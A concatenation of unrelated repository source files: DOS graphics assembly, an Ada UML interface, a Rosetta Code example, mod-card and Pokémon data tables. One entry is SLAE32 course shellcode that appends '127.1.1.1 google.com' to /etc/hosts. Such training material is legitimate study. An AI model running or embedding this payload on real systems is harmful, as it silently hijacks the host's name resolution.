al,Mcolor1 int 10h pop CX ;row 30 push CX dec DX add CX,8 mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX pop CX ;row 31 push CX dec DX add CX,9 mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX pop CX ;row 31 push CX dec DX add CX,13 mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h Exit: mov ah, 04ch int 21h main endp end
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/___fsadd_callee.asm
ahjelm/z88dk
640
174089
<filename>libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/___fsadd_callee.asm SECTION code_fp_am9511 PUBLIC ___fsadd_callee EXTERN cam32_sdcc_fadd_callee defc ___fsadd_callee = cam32_sdcc_fadd_callee
assignment6/shellcode-893-modified.nasm
tdmathison/SLAE32
0
224
; Modified version of shellcode-893 ; This was created as part of the SecurityTube Linux Assembly Expert ; course at http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ; ; <NAME> ; ; The MIT License (MIT) ; ; Copyright (c) 2018 <NAME> ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; BUILD: ; nasm -f elf32 ./shellcode-893-modified.nasm -o shellcode-893-modified.o ; ld ./shellcode-893-modified.o -o shellcode-893-modified global _start section .text _start: xor eax, eax ; eax = 0 cdq ; edx = 0 push byte 5 ; #define __NR_open 5 pop eax ; eax = 5 push edx ; push null byte jmp short _file _file_load: pop ebx ; ebx = "/etc/hosts" mov cx, 0x401 ; permmisions int 0x80 ; open file xchg eax, ebx ; store fd in ebx push byte 4 ; #define __NR_write 4 pop eax ; jmp short _load_data _write: pop ecx ; ecx = "127.1.1.1 google.com" push 0x14 ; length of the string pop edx ; edx = 20 int 0x80 ; write to file push 0x6 pop eax int 0x80 ; close the file push 0x1 pop eax int 0x80 ; exit _load_data: call _write db "127.1.1.1 google.com" _file: call _file_load db "/etc/hosts"
source/amf/uml/amf-uml-states.ads
svn2github/matreshka
24
23685
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ -- A state models a situation during which some (usually implicit) invariant -- condition holds. -- -- The states of protocol state machines are exposed to the users of their -- context classifiers. A protocol state represents an exposed stable -- situation of its context classifier: when an instance of the classifier is -- not processing any operation, users of this instance can always know its -- state configuration. ------------------------------------------------------------------------------ limited with AMF.UML.Behaviors; limited with AMF.UML.Classifiers; limited with AMF.UML.Connection_Point_References.Collections; limited with AMF.UML.Constraints; with AMF.UML.Namespaces; limited with AMF.UML.Pseudostates.Collections; with AMF.UML.Redefinable_Elements; limited with AMF.UML.Regions.Collections; limited with AMF.UML.State_Machines; limited with AMF.UML.Triggers.Collections; with AMF.UML.Vertexs; package AMF.UML.States is pragma Preelaborate; type UML_State is limited interface and AMF.UML.Redefinable_Elements.UML_Redefinable_Element and AMF.UML.Namespaces.UML_Namespace and AMF.UML.Vertexs.UML_Vertex; type UML_State_Access is access all UML_State'Class; for UML_State_Access'Storage_Size use 0; not overriding function Get_Connection (Self : not null access constant UML_State) return AMF.UML.Connection_Point_References.Collections.Set_Of_UML_Connection_Point_Reference is abstract; -- Getter of State::connection. -- -- The entry and exit connection points used in conjunction with this -- (submachine) state, i.e. as targets and sources, respectively, in the -- region with the submachine state. A connection point reference -- references the corresponding definition of a connection point -- pseudostate in the statemachine referenced by the submachinestate. not overriding function Get_Connection_Point (Self : not null access constant UML_State) return AMF.UML.Pseudostates.Collections.Set_Of_UML_Pseudostate is abstract; -- Getter of State::connectionPoint. -- -- The entry and exit pseudostates of a composite state. These can only be -- entry or exit Pseudostates, and they must have different names. They -- can only be defined for composite states. not overriding function Get_Deferrable_Trigger (Self : not null access constant UML_State) return AMF.UML.Triggers.Collections.Set_Of_UML_Trigger is abstract; -- Getter of State::deferrableTrigger. -- -- A list of triggers that are candidates to be retained by the state -- machine if they trigger no transitions out of the state (not consumed). -- A deferred trigger is retained until the state machine reaches a state -- configuration where it is no longer deferred. not overriding function Get_Do_Activity (Self : not null access constant UML_State) return AMF.UML.Behaviors.UML_Behavior_Access is abstract; -- Getter of State::doActivity. -- -- An optional behavior that is executed while being in the state. The -- execution starts when this state is entered, and stops either by -- itself, or when the state is exited, whichever comes first. not overriding procedure Set_Do_Activity (Self : not null access UML_State; To : AMF.UML.Behaviors.UML_Behavior_Access) is abstract; -- Setter of State::doActivity. -- -- An optional behavior that is executed while being in the state. The -- execution starts when this state is entered, and stops either by -- itself, or when the state is exited, whichever comes first. not overriding function Get_Entry (Self : not null access constant UML_State) return AMF.UML.Behaviors.UML_Behavior_Access is abstract; -- Getter of State::entry. -- -- An optional behavior that is executed whenever this state is entered -- regardless of the transition taken to reach the state. If defined, -- entry actions are always executed to completion prior to any internal -- behavior or transitions performed within the state. not overriding procedure Set_Entry (Self : not null access UML_State; To : AMF.UML.Behaviors.UML_Behavior_Access) is abstract; -- Setter of State::entry. -- -- An optional behavior that is executed whenever this state is entered -- regardless of the transition taken to reach the state. If defined, -- entry actions are always executed to completion prior to any internal -- behavior or transitions performed within the state. not overriding function Get_Exit (Self : not null access constant UML_State) return AMF.UML.Behaviors.UML_Behavior_Access is abstract; -- Getter of State::exit. -- -- An optional behavior that is executed whenever this state is exited -- regardless of which transition was taken out of the state. If defined, -- exit actions are always executed to completion only after all internal -- activities and transition actions have completed execution. not overriding procedure Set_Exit (Self : not null access UML_State; To : AMF.UML.Behaviors.UML_Behavior_Access) is abstract; -- Setter of State::exit. -- -- An optional behavior that is executed whenever this state is exited -- regardless of which transition was taken out of the state. If defined, -- exit actions are always executed to completion only after all internal -- activities and transition actions have completed execution. not overriding function Get_Is_Composite (Self : not null access constant UML_State) return Boolean is abstract; -- Getter of State::isComposite. -- -- A state with isComposite=true is said to be a composite state. A -- composite state is a state that contains at least one region. not overriding function Get_Is_Orthogonal (Self : not null access constant UML_State) return Boolean is abstract; -- Getter of State::isOrthogonal. -- -- A state with isOrthogonal=true is said to be an orthogonal composite -- state. An orthogonal composite state contains two or more regions. not overriding function Get_Is_Simple (Self : not null access constant UML_State) return Boolean is abstract; -- Getter of State::isSimple. -- -- A state with isSimple=true is said to be a simple state. A simple state -- does not have any regions and it does not refer to any submachine state -- machine. not overriding function Get_Is_Submachine_State (Self : not null access constant UML_State) return Boolean is abstract; -- Getter of State::isSubmachineState. -- -- A state with isSubmachineState=true is said to be a submachine state. -- Such a state refers to a state machine (submachine). not overriding function Get_Redefined_State (Self : not null access constant UML_State) return AMF.UML.States.UML_State_Access is abstract; -- Getter of State::redefinedState. -- -- The state of which this state is a redefinition. not overriding procedure Set_Redefined_State (Self : not null access UML_State; To : AMF.UML.States.UML_State_Access) is abstract; -- Setter of State::redefinedState. -- -- The state of which this state is a redefinition. not overriding function Get_Redefinition_Context (Self : not null access constant UML_State) return AMF.UML.Classifiers.UML_Classifier_Access is abstract; -- Getter of State::redefinitionContext. -- -- References the classifier in which context this element may be -- redefined. not overriding function Get_Region (Self : not null access constant UML_State) return AMF.UML.Regions.Collections.Set_Of_UML_Region is abstract; -- Getter of State::region. -- -- The regions owned directly by the state. not overriding function Get_State_Invariant (Self : not null access constant UML_State) return AMF.UML.Constraints.UML_Constraint_Access is abstract; -- Getter of State::stateInvariant. -- -- Specifies conditions that are always true when this state is the -- current state. In protocol state machines, state invariants are -- additional conditions to the preconditions of the outgoing transitions, -- and to the postcondition of the incoming transitions. not overriding procedure Set_State_Invariant (Self : not null access UML_State; To : AMF.UML.Constraints.UML_Constraint_Access) is abstract; -- Setter of State::stateInvariant. -- -- Specifies conditions that are always true when this state is the -- current state. In protocol state machines, state invariants are -- additional conditions to the preconditions of the outgoing transitions, -- and to the postcondition of the incoming transitions. not overriding function Get_Submachine (Self : not null access constant UML_State) return AMF.UML.State_Machines.UML_State_Machine_Access is abstract; -- Getter of State::submachine. -- -- The state machine that is to be inserted in place of the (submachine) -- state. not overriding procedure Set_Submachine (Self : not null access UML_State; To : AMF.UML.State_Machines.UML_State_Machine_Access) is abstract; -- Setter of State::submachine. -- -- The state machine that is to be inserted in place of the (submachine) -- state. overriding function Containing_State_Machine (Self : not null access constant UML_State) return AMF.UML.State_Machines.UML_State_Machine_Access is abstract; -- Operation State::containingStateMachine. -- -- The query containingStateMachine() returns the state machine that -- contains the state either directly or transitively. not overriding function Is_Composite (Self : not null access constant UML_State) return Boolean is abstract; -- Operation State::isComposite. -- -- A composite state is a state with at least one region. overriding function Is_Consistent_With (Self : not null access constant UML_State; Redefinee : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean is abstract; -- Operation State::isConsistentWith. -- -- The query isConsistentWith() specifies that a redefining state is -- consistent with a redefined state provided that the redefining state is -- an extension of the redefined state: A simple state can be redefined -- (extended) to become a composite state (by adding a region) and a -- composite state can be redefined (extended) by adding regions and by -- adding vertices, states, and transitions to inherited regions. All -- states may add or replace entry, exit, and 'doActivity' actions. not overriding function Is_Orthogonal (Self : not null access constant UML_State) return Boolean is abstract; -- Operation State::isOrthogonal. -- -- An orthogonal state is a composite state with at least 2 regions not overriding function Is_Redefinition_Context_Valid (Self : not null access constant UML_State; Redefined : AMF.UML.States.UML_State_Access) return Boolean is abstract; -- Operation State::isRedefinitionContextValid. -- -- The query isRedefinitionContextValid() specifies whether the -- redefinition contexts of a state are properly related to the -- redefinition contexts of the specified state to allow this element to -- redefine the other. The containing region of a redefining state must -- redefine the containing region of the redefined state. not overriding function Is_Simple (Self : not null access constant UML_State) return Boolean is abstract; -- Operation State::isSimple. -- -- A simple state is a state without any regions. not overriding function Is_Submachine_State (Self : not null access constant UML_State) return Boolean is abstract; -- Operation State::isSubmachineState. -- -- Only submachine states can have a reference statemachine. not overriding function Redefinition_Context (Self : not null access constant UML_State) return AMF.UML.Classifiers.UML_Classifier_Access is abstract; -- Operation State::redefinitionContext. -- -- The redefinition context of a state is the nearest containing -- statemachine. end AMF.UML.States;
Task/Determine-if-only-one-instance-is-running/Ada/determine-if-only-one-instance-is-running.ada
LaudateCorpus1/RosettaCodeData
1
3878
<reponame>LaudateCorpus1/RosettaCodeData with Ada.Text_IO; procedure Single_Instance is package IO renames Ada.Text_IO; Lock_File: IO.File_Type; Lock_File_Name: String := "single_instance.magic_lock"; begin begin IO.Open(File => Lock_File, Mode=> IO.In_File, Name => Lock_File_Name); IO.Close(Lock_File); IO.Put_Line("I can't -- another instance of me is running ..."); exception when IO.Name_Error => IO.Put_Line("I can run!"); IO.Create(File => Lock_File, Name => Lock_File_Name); for I in 1 .. 10 loop IO.Put(Integer'Image(I)); delay 1.0; -- wait one second end loop; IO.Delete(Lock_File); IO.New_Line; IO.Put_Line("I am done!"); end; exception when others => IO.Delete(Lock_File); end Single_Instance;
models/tests/test77c.als
transclosure/Amalgam
4
966
module tests/test open util/relation as a open util/graph as a // should give syntax error run { }
cards/bn6/ModCards/137-A016 Spidey.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
10
165275
.include "defaults_mod.asm" table_file_jp equ "exe6-utf8.tbl" table_file_en equ "bn6-utf8.tbl" game_code_len equ 3 game_code equ 0x4252354A // BR5J game_code_2 equ 0x42523545 // BR5E game_code_3 equ 0x42523550 // BR5P card_type equ 1 card_id equ 16 card_no equ "016" card_sub equ "Mod Card 016" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "Spidey" card_desc_2 equ "8MB" card_desc_3 equ "" card_name_jp_full equ "クーモス" card_name_jp_game equ "クーモス" card_name_en_full equ "Spidey" card_name_en_game equ "Spidey" card_address equ "" card_address_id equ 0 card_bug equ 0 card_wrote_en equ "" card_wrote_jp equ ""
data/wild/johto_water.asm
genterz/pokecross
28
165416
; Johto Pokémon in water JohtoWaterWildMons: map_id RUINS_OF_ALPH_OUTSIDE db 2 percent ; encounter rate db 15, WOOPER db 20, QUAGSIRE db 15, QUAGSIRE map_id UNION_CAVE_1F db 2 percent ; encounter rate db 15, WOOPER db 20, QUAGSIRE db 15, QUAGSIRE map_id UNION_CAVE_B1F db 2 percent ; encounter rate db 15, WOOPER db 20, QUAGSIRE db 15, QUAGSIRE map_id UNION_CAVE_B2F db 4 percent ; encounter rate db 15, TENTACOOL db 20, QUAGSIRE db 20, TENTACRUEL map_id SLOWPOKE_WELL_B1F db 2 percent ; encounter rate db 15, SLOWPOKE db 20, SLOWPOKE db 10, SLOWPOKE map_id SLOWPOKE_WELL_B2F db 2 percent ; encounter rate db 15, SLOWPOKE db 20, SLOWPOKE db 20, SLOWBRO map_id ILEX_FOREST db 2 percent ; encounter rate db 15, PSYDUCK db 10, PSYDUCK db 15, GOLDUCK map_id MOUNT_MORTAR_1F_OUTSIDE db 4 percent ; encounter rate db 15, GOLDEEN db 20, MARILL db 20, SEAKING map_id MOUNT_MORTAR_2F_INSIDE db 2 percent ; encounter rate db 20, GOLDEEN db 25, MARILL db 25, SEAKING map_id MOUNT_MORTAR_B1F db 2 percent ; encounter rate db 15, GOLDEEN db 20, MARILL db 20, SEAKING map_id WHIRL_ISLAND_SW db 4 percent ; encounter rate db 20, TENTACOOL db 15, HORSEA db 20, TENTACRUEL map_id WHIRL_ISLAND_B2F db 4 percent ; encounter rate db 15, HORSEA db 20, HORSEA db 20, TENTACRUEL map_id WHIRL_ISLAND_LUGIA_CHAMBER db 4 percent ; encounter rate db 20, HORSEA db 20, TENTACRUEL db 20, SEADRA map_id SILVER_CAVE_ROOM_2 db 2 percent ; encounter rate db 35, SEAKING db 35, GOLDUCK db 35, GOLDEEN map_id DARK_CAVE_VIOLET_ENTRANCE db 2 percent ; encounter rate db 15, MAGIKARP db 10, MAGIKARP db 5, MAGIKARP map_id DARK_CAVE_BLACKTHORN_ENTRANCE db 2 percent ; encounter rate db 15, MAGIKARP db 10, MAGIKARP db 5, MAGIKARP map_id DRAGONS_DEN_B1F db 4 percent ; encounter rate db 15, MAGIKARP db 10, MAGIKARP db 10, DRATINI map_id OLIVINE_PORT db 2 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id ROUTE_30 db 2 percent ; encounter rate db 20, POLIWAG db 15, POLIWAG db 20, POLIWHIRL map_id ROUTE_31 db 2 percent ; encounter rate db 20, POLIWAG db 15, POLIWAG db 20, POLIWHIRL map_id ROUTE_32 db 6 percent ; encounter rate db 15, TENTACOOL db 20, QUAGSIRE db 20, TENTACRUEL map_id ROUTE_34 db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id ROUTE_35 db 4 percent ; encounter rate db 20, PSYDUCK db 15, PSYDUCK db 20, GOLDUCK map_id ROUTE_40 db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id ROUTE_41 db 6 percent ; encounter rate db 20, TENTACOOL db 20, TENTACRUEL db 20, MANTINE map_id ROUTE_42 db 4 percent ; encounter rate db 20, GOLDEEN db 15, GOLDEEN db 20, SEAKING map_id ROUTE_43 db 2 percent ; encounter rate db 20, MAGIKARP db 15, MAGIKARP db 10, MAGIKARP map_id ROUTE_44 db 2 percent ; encounter rate db 25, POLIWAG db 20, POLIWAG db 25, POLIWHIRL map_id ROUTE_45 db 2 percent ; encounter rate db 20, MAGIKARP db 15, MAGIKARP db 5, MAGIKARP map_id NEW_BARK_TOWN db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id CHERRYGROVE_CITY db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id VIOLET_CITY db 2 percent ; encounter rate db 20, POLIWAG db 15, POLIWAG db 20, POLIWHIRL map_id CIANWOOD_CITY db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id OLIVINE_CITY db 6 percent ; encounter rate db 20, TENTACOOL db 15, TENTACOOL db 20, TENTACRUEL map_id ECRUTEAK_CITY db 2 percent ; encounter rate db 20, POLIWAG db 15, POLIWAG db 20, POLIWHIRL map_id LAKE_OF_RAGE db 6 percent ; encounter rate db 15, MAGIKARP db 10, MAGIKARP db 15, GYARADOS map_id BLACKTHORN_CITY db 4 percent ; encounter rate db 15, MAGIKARP db 10, MAGIKARP db 5, MAGIKARP map_id SILVER_CAVE_OUTSIDE db 2 percent ; encounter rate db 35, POLIWHIRL db 40, POLIWHIRL db 35, POLIWAG db -1 ; end